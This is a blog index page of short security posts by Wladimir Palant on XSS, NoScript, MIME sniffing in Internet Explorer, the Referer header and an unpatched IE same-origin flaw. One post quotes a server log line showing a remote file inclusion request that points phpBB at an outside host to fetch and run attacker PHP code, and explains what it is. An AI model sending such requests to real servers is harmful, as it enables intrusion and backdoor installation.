Security

  • Posted on by Wladimir Palant

    A few months ago I read a post in the WebSense Security Labs blog: The Ultimate Deobfuscator. Wow, pretty impressive hacking effort and nice tricks to hook JavaScript eval() function and document.write() in Internet Explorer. But couldn’t you use JS Debugger hooks in Firefox to do the same thing with only a few lines of code? And then maybe even more generic because eval() and document.write() are certainly not the only ways to generate JavaScript code on the fly (out of the top of my head: changing window.location to a JavaScript URL, event handler attributes or setTimeout() with a string parameter).

    Anyway, I finally took the time and actually wrote that Firefox extension: JavaScript Deobfuscator (source code). It adds a “Watch code execution” menu item to Tools menu, once checked all JavaScript compiled on a web page is posted as a message to Error Console. Nice side-effect: the JavaScript engine reformats the code to make it more readable. Downside: JavaScript performance goes down the drain, so using the browser with that option always switched on really isn’t recommendable.

    Read more… Comment [3]

  • Posted on by Wladimir Palant

    It seems to be obvious but apparently this idea still isn’t common knowledge — HTTP Referer header is unreliable, and it is especially unsuited for any security measures. The Referer header isn’t always present because of users going to a page directly (via bookmark and similar), using an “unusual” browser (most commonly download helper applications), using filtering firewalls (privacy protection) etc. The Referer header might be incorrect because of the same filtering firewalls (some prefer to advertise rather than remove the header entirely), special browser extensions to manipulate the Referer header etc.

    And in addition to that we also have the fact that referring websites can remove the Referer header with tricks like META refresh. With slightly more advanced tricks these websites can even send POST requests without a Referer header. Sending a fake Referer header is harder but in the past it was possible via XMLHttpRequest or Flash — and it still might be possible somehow.

    Read more… Comment [4]

  • Posted on by Wladimir Palant

    pdp over at GNUCITIZEN claims to have found a vulnerability in some common OpenID libraries. And I really tried hard to understand what he means and how it is related to the title of the article. In the end, I got the impression that he simply explains in a lengthy way that anybody could run an OpenID server and use it to log into OpenID-enabled services without having to register. Now isn’t this the whole purpose of OpenID?

    Apparently, I wasn’t the only one who got this impression — while the first commenter totally misinterpreted the article (which wasn’t hard), the second comment was already: “Isn’t this by design?” And pdp answered confirming that my interpretation of his article was correct, the point being really about authentication with OpenID being easier than registration (no captcha and the like). So why didn’t he just tell that, in one simple sentence rather than 7 (seven!) paragraphs of text? Why talk about CSRF, OpenID libraries or hijacking when apparently none of them have anything to do with the issue? Why providing a meaningless piece of code only to obfuscate the meaning even further?

    Read more… Comment [7]

  • Posted on by Wladimir Palant

    A little more than half a year ago I wrote an article on how security solutions using whitelists are better than those using blacklists. At the same time I noted that even using whitelists is not always enough — for example when your whitelist is predictable and the attacker can make sure the whitelisting rule applies to him. NoScript extension was the example I used, and its author reacted by adding “XSS protection” assuming that this would invalidate my claims.

    Well, it doesn’t. XSS is a very complex problem, and all the simple solutions to this problem usually turn out wrong. Which is once more confirmed by the attack on the security expert RSnake. The attackers knew that RSnake is using NoScript, so they simply included NoScript in their plan. They guessed that RSnake would whitelist his own site, found an XSS vulnerability there, used an XSS attack NoScript wouldn’t stop — and they would have been able to run JavaScript despite NoScript hadn’t their guess been wrong. That’s exactly the kind of attack I spoke about in my article.

    Read more… Comment [13]

  • Posted on by Wladimir Palant

    Webmasters probably know one particularly “helpful” feature of Internet Explorer — if you happen to misconfigure your web server and it sends HTML files designated as text files, Internet Explorer will silently correct this mistake and display the files anyway. Of course, if you wanted to display HTML as text (because you want to show the source code, or because it really is a text file with HTML snippets in it) it still will be displayed as HTML. And if you, as a user of a non-IE browser, ever came across a misconfigured server that displays HTML/images/Flash as plain text — now you know why nobody bothered fixing the mistake. This feature is called “MIME sniffing” and many articles have been written about it, so I don’t need to repeat them.

    However, there is a less known side of MIME sniffing. Have a look at this image. Doesn’t look dangerous, right? Now try to open it in Internet Explorer. What happened? As it comes out, MIME sniffing in Internet Explorer isn’t limited to text files. If it finds anything resembling HTML code in images it will interpret the image as an HTML page. In this case a comment in the image contains a SCRIPT tag, and Internet Explorer promptly executes the script. This opens an XSS vulnerability in any site that allows users to upload images (many forums do).

    Read more… Comment [12]

  • Posted on by Wladimir Palant

    The Chilling Effect is quite interesting read (yes, the article is a few months old but I only discovered it now). It shows nicely how security research on web applications is different from research on software you install on your computer. It also shows why responsible disclosure of vulnerabilities is so rare in this field. I also find it very interesting how it explains that most software is of a low quality.

    Read more… Comment [4]

  • Posted on by Wladimir Palant

    Disclamer: This post is only about using NoScript as a security solution, not as a way to block annoyances.

    It seems that me pointing out the fundamental flaw in NoScript only inspired another round of madness — that’s the only name I can find for it. Giorgio Maone has developed a solution that will effectively stop untrusted sites from injecting JavaScript through XSS holes in whitelisted sites. He is currently testing it with a development build and from what I can tell it mostly holds what it promises. Is that an achievement? Giorgio has obviously put much thought into this feature but I still have to say: no.

    Read more… Comment [19]

  • Posted on by Wladimir Palant

    I had a lengthy discussion with Giorgio Maone (author of the NoScript extension) about what is a security solution and what isn’t. Starting point was my statement that, while being excellent for getting rid of annoyances, neither Adblock Plus nor NoScript are really security solutions. Both have the potential, so why not?

    Let’s look at the easier case first: Adblock Plus. Adblock Plus is structured as a blacklist, you usually specify the addresses that you don’t want to load. So if there is a security issue that can be solved by blocking a certain address you will have to add a filter for this address. Requiring an action for each single vulnerability discovered disqualifies Adblock Plus, a real security solution would need to block everything unless explicitly allowed. Right now only the extremely rare case of malware-infested ads would be blocked by default however.

    Read more… Comment [9]

  • Posted on by Wladimir Palant

    I guess some of you run a web server. Maybe you have noticed entries like this one in your logs:

    "GET /forum/admin/admin_styles.php?phpbb_root_path=http://some.server.name/0wn/mail.txt?%5d\r HTTP/1.1" 302 5 "-" "-"

    What is this about? In this particular case somebody tried to use a security hole in an older phpBB version to execute PHP code loaded from another server. I had several hundreds of entries like this one in the last month, targeting vulnerabilities in all kinds of PHP scripts (most of which are not even installed here). The attackers tried to install backdoors, defacement tools or in one case a simple script to send all e-mail addresses from the local phpBB installation to its owner. The requests are usually done by other web servers, I guess those have the backdoor already installed (a botnet).

    Read more… Comment [2]

  • Posted on by Wladimir Palant

    I recently linked to an article stating that users of Internet Explorer have been exposed to known critical vulnerabilities for 284 days last year. That sounds bad enough but unfortunately it is not all. For example I came across a vulnerability in Internet Explorer that has been ranked “Less critical” for reasons I don’t understand. What this does — it basically eliminates same-origin checks, any web site can read contents of another site. I put up an example that can check whether you are logged in on Google or Yahoo and read out your user name — provided that you use Internet Explorer. It could just as well read out your mail or change your mail password. It could also go into your banking account if you happen to be logged in. Information on this vulnerability has been published April last year and still unpatched in both Internet Explorer 6.0 and 7.0.

    Read more… Comment [4]